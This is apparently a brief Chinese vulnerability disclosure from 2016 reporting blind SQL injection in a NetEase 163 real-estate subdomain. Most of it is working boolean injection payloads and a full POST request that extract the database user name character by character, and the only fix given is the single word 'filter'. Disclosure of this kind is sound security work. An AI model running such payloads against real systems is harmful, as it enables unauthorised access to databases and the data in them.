网易163某分站存在SQL注入
2016年05月23日
原文
网易163某分站存在SQL注入
xf.house.163.com/sz/qa/goodOrNo/0QWZ.html
post
id=280487 and (select length(user())=21)&productid=0QWZ&digType=yes_num
user长度21
第一位
POST /sz/qa/goodOrNo/0QWZ.html HTTP/1.1
Host: xf.house.163.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
id=280487 and (select ascii(mid(user(),1,1))=49)&productid=0QWZ&digType=yes_num
第一位1
…………
[email protected]
解决方案:
过滤